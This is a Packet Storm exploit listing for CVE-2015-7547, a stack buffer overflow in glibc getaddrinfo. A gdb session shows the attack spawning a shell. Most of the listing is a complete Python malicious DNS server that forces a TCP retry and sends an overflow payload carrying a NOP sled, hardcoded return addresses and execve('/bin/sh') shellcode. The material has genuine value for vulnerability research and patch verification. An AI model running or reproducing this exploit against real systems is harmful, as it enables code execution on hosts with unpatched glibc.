Lucene search

K
packetstormJang kyoungchipPACKETSTORM:138601
HistorySep 06, 2016 - 12:00 a.m.

glibc getaddrinfo Stack Buffer Overflow

2016-09-0600:00:00
jang kyoungchip
packetstormsecurity.com
28

0.975 High

EPSS

Percentile

100.0%

`add by SpeeDr00t@Blackfalcon (jang kyoung chip)  
  
This is a published vulnerability by google in the past.  
Please refer to the link below.  
  
Reference:   
- https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html  
- https://github.com/fjserna/CVE-2015-7547  
- CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow   
  
When Google announced about this code(vulnerability),   
it was missing information on shellcode.  
So, I tried to completed the shellcode.  
In the future, I hope to help your study.  
  
  
(gdb) gdb -q client1  
Undefined command: "gdb". Try "help".  
(gdb) r  
Starting program: /home/haker/client1   
Got object file from memory but can't read symbols: File truncated.  
[UDP] Total Data len recv 36  
[UDP] Total Data len recv 36  
udp send   
sendto 1   
TCP Connected with 127.0.0.1:60259  
[TCP] Total Data len recv 76  
[TCP] Request1 len recv 36  
data1 = i?1/2i?1/2foobargooglecom  
query = foobargooglecom$(i?1/2foobargooglecom  
[TCP] Request2 len recv 36  
sendto 2   
data1_reply  
data2_reply  
[UDP] Total Data len recv 36  
[UDP] Total Data len recv 36  
udp send   
sendto 1   
TCP Connected with 127.0.0.1:60260  
[TCP] Total Data len recv 76  
[TCP] Request1 len recv 36  
data1 = i?1/2i?1/2foobargooglecom  
query = foobargooglecom$i?1/27foobargooglecom  
[TCP] Request2 len recv 36  
sendto 2   
data1_reply  
data2_reply  
process 6415 is executing new program: /bin/dash  
$ id  
uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)  
$   
  
'''  
  
import socket  
import time  
import struct  
import threading  
  
IP = '192.168.111.5' # Insert your ip for bind() here...  
ANSWERS1 = 184  
  
terminate = False  
last_reply = None  
reply_now = threading.Event()  
  
  
def dw(x):  
return struct.pack('>H', x)  
  
def dd(x):  
return struct.pack('>I', x)  
  
def dl(x):  
return struct.pack('<Q', x)  
  
def db(x):  
return chr(x)  
  
def udp_thread():  
global terminate  
  
# Handle UDP requests  
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
sock_udp.bind((IP, 53))  
  
reply_counter = 0  
counter = -1  
  
answers = []  
  
while not terminate:  
data, addr = sock_udp.recvfrom(1024)  
print '[UDP] Total Data len recv ' + str(len(data))  
id_udp = struct.unpack('>H', data[0:2])[0]  
query_udp = data[12:]  
  
# Send truncated flag... so it retries over TCP  
data = dw(id_udp) # id  
data += dw(0x8380) # flags with truncated set  
data += dw(1) # questions  
data += dw(0) # answers  
data += dw(0) # authoritative  
data += dw(0) # additional  
data += query_udp # question  
data += '\x00' * 2500 # Need a long DNS response to force malloc   
  
answers.append((data, addr))  
  
if len(answers) != 2:  
continue  
  
counter += 1  
  
if counter % 4 == 2:  
answers = answers[::-1]  
  
  
print 'udp send '  
time.sleep(0.01)  
sock_udp.sendto(*answers.pop(0))  
  
print 'sendto 1 '  
reply_now.wait()  
sock_udp.sendto(*answers.pop(0))  
print 'sendto 2 '  
  
sock_udp.close()  
  
  
def tcp_thread():  
global terminate  
counter = -1  
  
#Open TCP socket  
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
sock_tcp.bind((IP, 53))  
sock_tcp.listen(10)  
  
print 'a'  
  
while not terminate:  
conn, addr = sock_tcp.accept()  
counter += 1  
print 'TCP Connected with ' + addr[0] + ':' + str(addr[1])  
  
# Read entire packet  
data = conn.recv(1024)  
print '[TCP] Total Data len recv ' + str(len(data))  
  
reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])  
print '[TCP] Request1 len recv ' + str(reqlen1)  
data1 = data[2:2+reqlen1]  
  
print 'data1 = ' +data1  
  
id1 = struct.unpack('>H', data1[0:2])[0]  
query1 = data[12:]  
  
print 'query = ' + query1  
  
# Do we have an extra request?  
data2 = None  
if len(data) > 2+reqlen1:  
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])  
print '[TCP] Request2 len recv ' + str(reqlen2)  
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]  
id2 = struct.unpack('>H', data2[0:2])[0]  
query2 = data2[12:]  
  
  
  
# Reply them on different packets  
data = ''  
data += dw(id1) # id  
data += dw(0x8180) # flags  
data += dw(1) # questions  
data += dw(ANSWERS1) # answers  
data += dw(0) # authoritative  
data += dw(0) # additional  
data += query1 # question  
  
  
  
for i in range(ANSWERS1):  
answer = dw(0xc00c) # name compressed  
answer += dw(1) # type A  
answer += dw(1) # class  
answer += dd(13) # ttl  
answer += dw(4) # data length  
answer += 'D' * 4 # data  
  
data += answer  
  
data1_reply = dw(len(data)) + data  
  
if data2:  
data = ''  
data += dw(id2)  
data += 'A' * (6)  
data += '\x08\xc5\xff\xff\xff\x7f\x00\x00'  
data += '\x90' * (44)  
data += '\x90' * (1955)  
data += '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'  
data += '\x90' * (100)  
data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'  
data += 'F' * (8)  
data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'  
data += 'G' * (134)  
data2_reply = dw(len(data)) + data  
else:  
data2_reply = None  
  
reply_now.set()  
time.sleep(0.01)  
conn.sendall(data1_reply)  
print 'data1_reply'  
time.sleep(0.01)  
if data2:  
conn.sendall(data2_reply)  
print 'data2_reply'  
  
reply_now.clear()  
  
sock_tcp.shutdown(socket.SHUT_RDWR)  
sock_tcp.close()  
  
  
if __name__ == "__main__":  
  
t = threading.Thread(target=udp_thread)  
t.daemon = True  
t.start()  
tcp_thread()  
terminate = True  
`

0.975 High

EPSS

Percentile

100.0%